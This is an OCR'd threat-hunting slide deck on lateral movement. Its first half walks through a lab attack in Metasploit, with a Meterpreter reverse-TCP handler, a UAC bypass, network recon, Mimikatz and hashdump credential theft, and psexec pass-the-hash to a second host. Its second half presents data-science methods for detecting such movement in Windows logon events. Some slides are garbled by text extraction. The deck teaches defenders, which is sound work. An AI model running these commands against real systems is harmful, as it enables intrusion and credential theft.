sqrrl

Threat Hunting for Lateral Movement

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Corgi Edition




Agenda



- Lateral Movement Overview
- Structuring the Analysis
- Detecting LMs with DataScience[™]
- Threat Hunting around Detected LMs





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Infection to Lateral Movement Process

Inpe

Rinse and Repeat for each system as needed or wanted


what da password




© 20

Infection– Backdoored executable

Creating the Malicious Payload



Infected Binary



Compromise – Meterpreter



Session

root@kali:~/Downloads# msfconsole -q
[-] Failed to connect to the database: could not connect to server: Connection
 Is the server running on host "localhost" (::1) and accepting
 TCP/IP connections on port 5432?
could not connect to server: Connection refused
 Is the server running on host "localhost" (127.0.0.1) and accepting
 TCP/IP connections on port 5432?

msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.106 LHOST => 192.168.1.106 msf exploit(handler) > set LPORT 31337 LPORT => 31337 msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.106:31337

- [*] Starting the payload handler...
- [*] Sending stage (957487 bytes) to 192.168.1.100
- [*] Meterpreter session 1 opened (192.168.1.106:31337 -> 192.168.1.100:51403)

meterpreter >

Compromise – discovering privileges

meterpreter > getprivs

Enabled Process Privileges

SeChangeNotifyPrivilege SeIncreaseWorkingSetPrivilege SeShutdownPrivilege SeTimeZonePrivilege SeUndockPrivilege

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter >

Compromise – elevate privileges

meterpreter > background [*] Backgrounding session 1... msf exploit(handler) > show sessions Active sessions Id Type Information Connection meterpreter x86/windows SECTECHLAB\bjohnson @ WIN7-PC 192.168.1.106: msf exploit(handler) > use exploit/windows/local/bypassuac msf exploit(bypassuac) > set SESSION 1 SESSION \Rightarrow 1 msf exploit(bypassuac) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(bypassuac) > set LHOST 192.168.1.106 LHOST => 192.168.1.106 msf exploit(bypassuac) > set LPORT 4443 LPORT => 4443 msf exploit(bypassuac) > set TECHNIQUE PSH TECHNIQUE => PSH msf exploit(bypassuac) > exploit -j [*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.1.106:4443 msf exploit(bypassuac) > [*] Sending stage (957487 bytes) to 192.168.1.100 [*] UAC is Enabled, checking level... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [*] Meterpreter session 2 opened (192.168.1.106:4443 -> 192.168.1.100:51436) [+] Part of Administrators group! Continuing...

[*] Uploaded the agent to the filesystem....

[*] Uploading the bypass UAC executable to the filesystem...

[*] Meterpreter stager executable 73802 bytes long being uploaded..

Compromise – confirm new privileges

meterpreter > getprivs Enabled Process Privileges SeBackupPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeCreatePagefilePrivilege SeCreateSymbolicLinkPrivilege SeDebugPrivilege SeImpersonatePrivilege SeIncreaseBasePriorityPrivilege SeIncreaseQuotaPrivilege SeIncreaseWorkingSetPrivilege SeLoadDriverPrivilege SeManageVolumePrivilege SeProfileSingleProcessPrivilege SeRemoteShutdownPrivilege SeRestorePrivilege SeSecurityPrivilege SeShutdownPrivilege SeSystemEnvironmentPrivilege SeSystemProfilePrivilege SeSystemtimePrivilege SeTakeOwnershipPrivilege SeTimeZonePrivilege SeUndockPrivilege

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Recon – User

accounts

Recon Local Accounts

C:\Windows\system32>net net user	user	
User accounts for \\		
Administrator win7	desktopadmin	Guest
Recon Domain Acco	<u>unts</u>	
C:\Windows\system32>net net user /DOMAIN The request will be proc		ain controller for d
User accounts for \\labo	dc.sectechlab.ne	t
Administrator	bjohnson	Guest
ismith	krbtgt	master

Recon – Network

<u>Nmap</u>

msf auxiliary(tcp) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(tcp) > set PORTS 139,445 PORTS => 139,445 msf auxiliary(tcp) > set THREADS 50 THREADS \Rightarrow 50 msf auxiliary(tcp) > run **[*]** 192.168.1.1: - 192.168.1.1:445 - TCP OPEN [*] 192.168.1.10: - 192.168.1.10:445 - TCP OPEN [*] 192.168.1.10: - 192.168.1.10:139 - TCP OPEN [*] Scanned 32 of 256 hosts (12% complete) [*] Scanned 52 of 256 hosts (20% complete) [*] 192.168.1.100: - 192.168.1.100:139 - TCP OPEN [*] 192.168.1.100: - 192.168.1.100:445 - TCP OPEN [*] 192.168.1.102: - 192.168.1.102:139 - TCP OPEN [*] 192.168.1.104: - 192.168.1.104:139 - TCP OPEN [*] 192.168.1.104: - 192.168.1.104:445 - TCP OPEN [*] 192.168.1.102: - 192.168.1.102:445 - TCP OPE [*] Scanned 77 of 256 hosts (30% complete) [*] Scanned 104 of 256 hosts (40% complete) [*] Scanned 130 of 256 hosts (50% complete)

Windows IP Configuration

Host Name					•	win7-pc
Primary Dns Suffix						<pre>sectechlab.net</pre>
Node Type						Hybrid
IP Routing Enabled.						No
WINS Proxy Enabled.						No
DNS Suffix Search Li	51				:	<pre>sectechlab.net</pre>

Ethernet adapter Local Area Connection:

Connection-speci	fic	Dł	NS	S	uft	fib	K	:	sectechlab.net
Description								:	Intel(R) PR0/1000 MT Net
Physical Address								:	00-0C-29-6A-BB-C8
DHCP Enabled								:	Yes
Autoconfiguratio	n E	nal	ble	ed				:	Yes
IPv4 Address								:	192.168.1.100(Preferred)
Subnet Mask								:	255.255.255.0
Lease Obtained.								:	Thursday, June 15, 2017
Lease Expires .								:	Saturday, June 24, 2017
Default Gateway								:	192.168.1.1
DHCP Server								:	192.168.1.1
DNS Servers								:	192.168.1.1
Primary WINS Ser	ver							:	192.168.1.1
NetBIOS over Tcp	ip.							:	Enabled
-	_	-							

Check ARP table

C:\Windows\system32>ARP —a ARP —a

interface:	192.168.1.	100 0xb	
Internet	Address	Physical	Address
192.168.1	1.1	00-0c-29-	-34–42–0a
192.168.1	1.4	00-0c-29-	-ea-27-03
192.168.1	1.106	00-0c-29-	-3a-2b-9f
	0.00	CC CC CC	ee ee ee

Mounted Drives

C:\Windows\system32>net use net use

There are no entries in the list.

Recon – Processes

Running Processes

master a

C:\Windows\system32>tasklis tasklist	st			
Image Name	PID	Session Name	Session#	Mem Usage
System Idle Process	0	Services	0	24 1
norchaneve	1336	COLLO LC	4	10,700 1
badguy3.exe	868	Console	1	9,408
notepad.exe	2884	Console	1	13,564
	2000	A1	-	0.000
conhost.exe	1604	Console	1	4,412
tasklist.exe	912	Console	1	5,588 K

Processes with Network Connections

meterpreter > netstat

Proto	Local address	Remote address	State	User	Inode	PID/Program name
tcp	0.0.0.0:135	0.0.0.0:*	LISTEN	θ	θ	788/svchost.exe
tcp	0.0.0.0:445	0.0.0.0:*	LISTEN	θ	θ	4/System
tcp	0.0.0.0:5357	0.0.0.0:*	LISTEN	θ	θ	4/System
tcp	0.0.0.0:49152	0.0.0.0:*	LISTEN	θ	θ	448/wininit.exe
tcp	0.0.0.0:49153	0.0.0.0:*	LISTEN	θ	θ	860/svchost.exe
cp	0.0.0.0:49154	0.0.0.0:*	LISTEN	Θ	θ	960/svchost.exe
tcp	0.0.0.0:49170	0.0.0.0:*	LISTEN	θ	θ	560/lsass.exe
tcp	0.0.0.0:49174	0.0.0.0:*	LISTEN	θ	θ	540/services.exe
tcp	0.0.0.0:49175	0.0.0.0:*	LISTEN	Θ	θ	1904/svchost.exe
ten	102 169 1 100-130	<u> </u>	ITSTEN	9	0	A/Suctom
tcp	192.168.1.100:51437	192.168.1.106:31337	ESTABLISHED	θ	θ	868/badguy3.exe

Credential Theft

Running Mimikatz

meterpreter > load mimikatz Loading extension mimikatz... [!] Loaded x86 Mimikatz on an x64 architecture. success.

Recover the Kerberos Hashes

	<u>eter</u> > kerber								
	ing as SYSTE								
[*] Retr	ieving kerbe	eros credential	S						
kerberos	<pre>credentials</pre>	5							
		-							
AuthID	Package	Domain	User	Password					
0;997	Negotiate	NT AUTHORITY	LOCAL SERVICE						
0;79473	NTLM								
0;996	Negotiate	SECTECHLAB	WIN7-PC\$	+L/>GRe[l>h*,	Ev;x&O	s0\$djUK0q:c9oyKZ	FxN#WcZ.X0WCYAk@ry	/'7fb<6y_lW-YkQ6E	AtTq \$fvc I
LY56J#dh	`L%(aG7Hk?:o	1qG47&H8c)0om[F	19						
0;999	Negotiate	SECTECHLAB	WIN7-PC\$	+L/>GRe[l>h*,	Ev;x&0	s0\$djUK0q:c9oyKZ	FxN#WcZ.X0WCYAk@ry	/'7fb<6y_lW-YkQ6E	AtTq \$fvc
LY56J#dh	`L%(aG7Hk?:o	1qG47&H8c)0om[F	19						
U;024470	кегрегоз	SECTECHLAB	Djonnson	test123:					
0;624414	Kerberos	SECTECHLAB	bjohnson	test123!					
					<u> </u>				

Recover SAM hashes

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > run hashdump

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.

- [!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
- [*] Obtaining the boot key...
- [*] Calculating the hboot key using SYSKEY e3a4ce782f1949f9324c988b8d04308e...
- [*] Obtaining the user list and keys...
- [*] Decrypting user keys...
- [*] Dumping password hints...

win7:"m"

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: win7:1000:aad3b435b51404eeaad3b435b51404ee:6d3986e540a63647454a50e26477ef94::: desktopadmin:1002:aad3b435b51404eeaad3b435b51404ee:5409776143091b4ecf5d0f3e23e1a0c5:::


Lateral Movement – Using Stolen Credentials

		U		
		exploit/windows/smb/psexec		
	<pre>exploit(psexec) > set SESS</pre>	SION 2		
	0N ⇒ 2			
		<pre>load windows/meterpreter/reverse_</pre>	tcp	
	<pre>ad => windows/meterpreter</pre>			
	exploit(<mark>psexec</mark>) > set LHOS	ST 192.168.1.106		
	<pre>→ 192.168.1.106</pre>			
	exploit(<mark>psexec</mark>) > set LPOF	RT 31338		
	i ⇒ 31338			
	exploit(<mark>psexec</mark>) > set RH05	ST 192.168.1.104		
	<pre>⇒ 192.168.1.104</pre>			
	exploit(<mark>psexec</mark>) > set SMBD	Domain sectechlab		
SMBDo	main => sectechlab			
the set of		leen bjehneen		
SMBUs	er => bjohnson			
			v4ee:025ec013T00DD54202e16084T9ev3330	
		d3b435b51404ee:d25ecd13fddbb542d2	e16da4f9e0333d	
	xploit(psexec) > set SHAF	RE C\$		
	⇒ C\$			
	exploit(psexec) > exploit	-		
[*] E	exploit running as backgro	ound job.		
	itarted reverse TCP handle			
	.92.168.1.104:445 - Connec			
		ticating to 192.168.1.104:445 se		
		168.1.104:445 - Selecting PowerS	hell target	
	.92.168.1.104:445 - Execut			
			a command or non-service executable	
	ending stage (957487 byte			
[*] M	leterpreter session 3 oper	ned (192.168.1.106:31338 -> 192.1	68.1.104:51641) at 2017-06-20 14:03:50 -	-0400
		-		
mst e	exploit(psexec) > sessions	5 -1		
ACTIV	e sessions			
	Turne	Toformation	Connection	
10	Туре	Information	Connection	
				102 (102 100 1 100)
	meterpreter x86/windows	SECTECHLAB\bjohnson @ WIN7-PC	192.168.1.106:31337 -> 192.168.1.100:59	(192.168.1.100)
1			100 100 1 100.1110 . 100 100 100.00	04 (100 100 1 100)
	meterpreter x86/windows		192.168.1.106:4443 -> 192.168.1.100:591 192.168.1.106:31338 -> 192.168.1.104:51	

msf exploit(psexec) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > upload /root/Downloads/mimikatz/x64/mimikatz.exe C:\\Users\Public
[*] uploading : /root/Downloads/mimikatz/x64/mimikatz.exe -> C:\UsersPublic
[*] uploaded : /root/Downloads/mimikatz/x64/mimikatz.exe -> C:\UsersPublic

DETECTING LATERAL MOVEMENT WITH DATA SCIENCE



Data

- LM evidence comes from:
 - Windows Events
 - Syslog
 - VPN
 - Endpoint sensors
- Primary fields:
 - Source -
 - Destination -
 - User
 - Time —
- Extra Information:

∲sqrrl <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-/</pre> <EventID>4624</EventID> <Version>0</Version> <Level>0</Level> <Task>12544</Task> <0pcode>0</0pcode> <Keywords>0x802000000000000/Keywords> <TimeCreated SystemTime="2014-09-10T08:44:55.712613000Z"/> <EventRecordID>125696293</EventRecordID> <Correlation/> <Execution ProcessID="468" ThreadID="1172"/> <Channel>Security</Channel> <Computer>SQRRL-DC005.sgrrl.com</Computer> <Security/> </System> <EventData> <Data Name="SubjectUserSid">S-1-0-0</Data> <Data Name="SubjectUserName">-</Data> <Data Name="SubjectDomainName">-</Data> <Data Name="SubjectLogonId">0x0</Data> <Data Name="TargetUserSid">S-1-5-21-2000478354-1532298954-725345543-3069</Data> <Data Name="TargetUserName">CGR-WK301\$</Data> <Data Name="TargetDomainName">SQRRL</Data> <Data Name="TargetLogonId">0x3c8f86048</Data> <Data Name="LogonType">3</Data> <Data Name="LogonProcessName">Kerberos</Data> <Data Name="AuthenticationPackageName">Kerberos</Data> <Data Name="WorkstationName"/> <Data Name="LogonGuid">{A2E724D7-9045-C011-BFC8-CDD0B4CFD2E8}</Data> <Data Name="TransmittedServices">-</Data>

- <Data Name="LmPackageName">-</Data>
 <Data Name="KeyLength">0</Data>
- <Data Name="ProcessId">0x0</Data>
- <Data Name="ProcessName">-</Data>
- <Data Name="IpAddress">192.168.41.108</Data>
- <Data Name="IpPort">53584</Data> </EventData>

Abstraction Spectrum Trade-Off



Specialized

Target Specific Techniques

- e.g. Pass The Hash detection
- Very specific means low false positives
- May miss new techniques

Search for General Graph Patterns


- Hard to hide from
- May pick up unrelated similar patterns

Generic



LM Graph Pattern Characteristics






Lateral Movement Strategy




- Rank individual logins
 - Train: learn common user login patterns from the data
 - Predict: assign rank (logLikelihoodRatio) to every login. Rank high those that are unusual
- Construct time-ordered connected sequences of logins
 - Predict: find top N sequences of logins with the highest combined rank




Generalized "Rarity" Classifier




- Used to determine base risk for logins
- Extensible feature vectors mix numerical, categorical, and text features
 - TDigests for numerical
 - Bag of words for text
 - Vectorized categorical statistics
- Learns "normal" in-situ
 - Priors out-of-the-box
 - Every network is different
- Scalable spark implementations










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
Multi-Hop Predict: Combinatorics






Multi-Hop Predict: Message Passing






Multi-Hop Predict: Message Passing





Multi-Hop Predict: Message Passing






Scalable Analytic Implementation






- Large scale, parallel implementation
- Multiple Independent Variable Bayesian Classifier (MIVB)



- Spark extension for graph processing
- High performance message passing implementation
- Used for agglomerative clustering / detection of LM structures


Processing Workflow





Organizing Security Data






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
False Positive Reduction



1. Rank:




- 2. Normalize:
 - Smooth out discontinuities in ranking function
 - Apply historical context to determine probability of seeing a given rank
 - Convert to risk score based on likelihood * impact
- 3. Threshold:
 - Analysts usually care about LMs over risk X



🚼 LATMOV-0 🗅 ---76 From Feb 06 2017 07:00 to Feb 06 2017 08:59 К 8 entities 3 risk factors <u>ll</u> FEATURES First detected 2017-02-06 20:19 0 Last updated 2017-02-06 20:19 C706 Show more U4345@DOM1 C395 TAGS HISTORY **[***@] CozyBear × CrownJewel C2450 ACTIVITY Total Failed auth C9825 Successful auth U3845@DOM1 ₩ **1** C586 ADMINISTRATOR@DOM1® **1**

Find by tag or ID

CounterOps





Thank you!

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&

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For a repository of hunting techniques